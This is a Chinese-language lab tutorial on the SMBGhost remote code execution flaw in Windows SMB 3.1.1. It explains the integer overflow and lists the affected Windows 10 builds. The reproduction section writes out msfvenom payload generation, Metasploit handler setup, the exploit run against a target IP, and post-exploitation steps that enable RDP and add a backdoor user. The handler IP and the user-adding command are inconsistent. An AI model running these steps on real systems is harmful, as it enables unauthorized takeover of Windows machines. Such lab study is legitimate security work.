SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
漏洞原理
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
影响版本
该漏洞属于远程代码执行漏洞,漏洞主要影响Windows10的系统及应用版本(1903和1909),包括32位、64位的家用版、专业版、企业版、教育版。具体如下:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
复现
一、实验环境
————————————————
Kali2023:192.168.153.128
Windows 10 漏洞未修复版 靶机:192.168.153.138
实验用到的工具以及exp和poc
二.复现过程
可以在kali上完成,也可以在别的windows环境下进行(要有python环境)
此是在windows上实验
- 先用奇安信cve-2020-0796 poc 工具检测
2.生成反向木马连接命令
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
将生成的木马替换到SMBGhost_RCE_PoC-master/exploit.py 文件中
最后将buf替换为USER_PAYLOAD。注意不要出错,替换后保存
3.在kali开启监听
首先开启终端模式,输入命令:msfconsole
依次输入以下命令进行执行:use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8888
set rhost 192.168.191.168(此处IP地址为win10虚拟机地址)
run
4. 运行脚本发起攻击
发起攻击时有可能造成靶机蓝屏,将靶机运行内存调到5g差不多
Python exploit.py -ip 192.168.153.138
5.返回kali看监听窗口出现meterpreter即为成功(如果没有成功ctrl+c暂停在run 开始)
6.在第五步窗口下执行命令
开启远程桌面
命令:run post/windows/manage/enable_rdp
.添加用户
命令:run post/windows/manage/enable_rdp USERNAME=abc PASSWORD=123456
7.返回攻击机
Win+R 打开控制台 输入mstsc 远程连接靶机
输入第6步中添加的用户名及信息完成登录!达成远程控制目的!